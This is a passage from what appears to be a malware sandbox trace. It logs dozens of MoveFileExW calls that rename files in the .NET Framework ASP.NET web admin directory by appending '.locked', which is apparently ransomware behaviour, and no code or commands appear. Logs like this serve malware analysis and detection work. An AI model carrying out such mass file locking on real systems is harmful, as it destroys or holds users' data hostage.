"c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\securitypage.cs.locked"), dwFlags=0x2) returned 1 [0210.217] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\webadminpage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\webadminpage.cs.locked"), dwFlags=0x2) returned 1 [0210.220] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\wizardpage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\wizardpage.cs.locked"), dwFlags=0x2) returned 1 [0210.224] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_data\\groupedproviders.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_data\\groupedproviders.xml.locked"), dwFlags=0x2) returned 1 [0210.237] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\default.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\default.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\default.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\default.aspx.locked"), dwFlags=0x2) returned 1 [0210.247] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\error.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\error.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\error.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\error.aspx.locked"), dwFlags=0x2) returned 1 [0210.251] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\home0.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\home0.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\home0.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\home0.aspx.locked"), dwFlags=0x2) returned 1 [0210.255] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\home1.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\home1.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\home1.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\home1.aspx.locked"), dwFlags=0x2) returned 1 [0210.258] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\home2.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\home2.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\home2.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\home2.aspx.locked"), dwFlags=0x2) returned 1 [0210.267] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\alert_lrg.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\alert_lrg.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\alert_lrg.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\alert_lrg.gif.locked"), dwFlags=0x2) returned 1 [0210.270] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\alert_sml.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\alert_sml.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\alert_sml.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\alert_sml.gif.locked"), dwFlags=0x2) returned 1 [0210.293] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg.locked"), dwFlags=0x2) returned 1 [0210.297] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\aspx_file.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\aspx_file.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\aspx_file.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\aspx_file.gif.locked"), dwFlags=0x2) returned 1 [0210.301] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\branding_Full2.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\branding_full2.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\branding_Full2.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\branding_full2.gif.locked"), dwFlags=0x2) returned 1 [0210.315] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\darkblue_grad.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\darkblue_grad.jpg.locked"), dwFlags=0x2) returned 1 [0210.318] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\deselectedTab_1x1.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\deselectedtab_1x1.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\deselectedTab_1x1.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\deselectedtab_1x1.gif.locked"), dwFlags=0x2) returned 1 [0210.322] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\folder.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\folder.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\folder.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\folder.gif.locked"), dwFlags=0x2) returned 1 [0210.324] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\gradient_onBlue.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\gradient_onblue.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\gradient_onBlue.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\gradient_onblue.gif.locked"), dwFlags=0x2) returned 1 [0210.327] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\gradient_onWhite.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\gradient_onwhite.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\gradient_onWhite.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\gradient_onwhite.gif.locked"), dwFlags=0x2) returned 1 [0210.329] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\headerGRADIENT_Tall.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\headergradient_tall.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\headerGRADIENT_Tall.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\headergradient_tall.gif.locked"), dwFlags=0x2) returned 1 [0210.335] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\help.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\help.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\help.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\help.jpg.locked"), dwFlags=0x2) returned 1 [0210.339] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\HelpIcon_solid.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\helpicon_solid.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\HelpIcon_solid.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\helpicon_solid.gif.locked"), dwFlags=0x2) returned 1 [0210.342] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\image1.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\image1.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\image1.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\image1.gif.locked"), dwFlags=0x2) returned 1 [0210.345] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\image2.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\image2.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\image2.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\image2.gif.locked"), dwFlags=0x2) returned 1 [0210.347] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\requiredBang.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\requiredbang.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\requiredBang.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\requiredbang.gif.locked"), dwFlags=0x2) returned 1 [0210.349] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\security_watermark.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\security_watermark.jpg.locked"), dwFlags=0x2) returned 1 [0210.352] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\selectedTab_1x1.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\selectedtab_1x1.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\selectedTab_1x1.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\selectedtab_1x1.gif.locked"), dwFlags=0x2) returned 1 [0210.355] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\selectedTab_leftCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\selectedtab_leftcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\selectedTab_leftCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\selectedtab_leftcorner.gif.locked"), dwFlags=0x2) returned 1 [0210.358] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\selectedTab_rightCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\selectedtab_rightcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\selectedTab_rightCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\selectedtab_rightcorner.gif.locked"), dwFlags=0x2) returned 1 [0210.369] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\topgradrepeat.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\topgradrepeat.jpg.locked"), dwFlags=0x2) returned 1 [0210.371] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_leftCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\unselectedtab_leftcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_leftCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\unselectedtab_leftcorner.gif.locked"), dwFlags=0x2) returned 1 [0210.373] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_rightCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\unselectedtab_rightcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_rightCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\unselectedtab_rightcorner.gif.locked"), dwFlags=0x2) returned 1 [0210.384] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\yellowCORNER.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\yellowcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\yellowCORNER.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\yellowcorner.gif.locked"), dwFlags=0x2) returned 1 [0210.394] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\chooseProviderManagement.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers\\chooseprovidermanagement.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\chooseProviderManagement.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers\\chooseprovidermanagement.aspx.locked"), dwFlags=0x2) returned 1 [0210.411] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\ManageConsolidatedProviders.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers\\manageconsolidatedproviders.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\ManageConsolidatedProviders.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers\\manageconsolidatedproviders.aspx.locked"), dwFlags=0x2) returned 1 [0210.422] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\ManageProviders.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers\\manageproviders.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\ManageProviders.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers\\manageproviders.aspx.locked"), dwFlags=0x2) returned 1 [0210.447] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\createPermission.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\permissions\\createpermission.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\createPermission.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\permissions\\createpermission.aspx.locked"), dwFlags=0x2) returned 1 [0210.470] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\managePermissions.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\permissions\\managepermissions.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\managePermissions.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\permissions\\managepermissions.aspx.locked"), dwFlags=0x2) returned 1 [0210.485] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\manageAllRoles.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\roles\\manageallroles.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\manageAllRoles.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\roles\\manageallroles.aspx.locked"), dwFlags=0x2) returned 1 [0210.497] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\manageSingleRole.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\roles\\managesinglerole.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\manageSingleRole.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\roles\\managesinglerole.aspx.locked"), dwFlags=0x2) returned 1 [0210.511] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\security.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\security.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\security.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\security.aspx.locked"), dwFlags=0x2) returned 1 [0210.515] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\security0.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\security0.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\security0.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\security0.aspx.locked"), dwFlags=0x2) returned 1 [0210.520] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\setUpAuthentication.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\setupauthentication.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\setUpAuthentication.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\setupauthentication.aspx.locked"), dwFlags=0x2) returned 1 [0210.533] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\addUser.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\adduser.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\addUser.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\adduser.aspx.locked"), dwFlags=0x2) returned 1 [0210.549] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\editUser.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\edituser.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\editUser.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\edituser.aspx.locked"), dwFlags=0x2) returned 1 [0210.560] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\findUsers.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\findusers.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\findUsers.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\findusers.aspx.locked"), dwFlags=0x2) returned 1 [0210.576] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\manageUsers.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\manageusers.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\manageUsers.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\manageusers.aspx.locked"), dwFlags=0x2) returned 1 [0210.603] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizard.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\wizard\\wizard.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizard.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\wizard\\wizard.aspx.locked"), dwFlags=0x2) returned 1 [0210.608] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\web.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\web.config"), 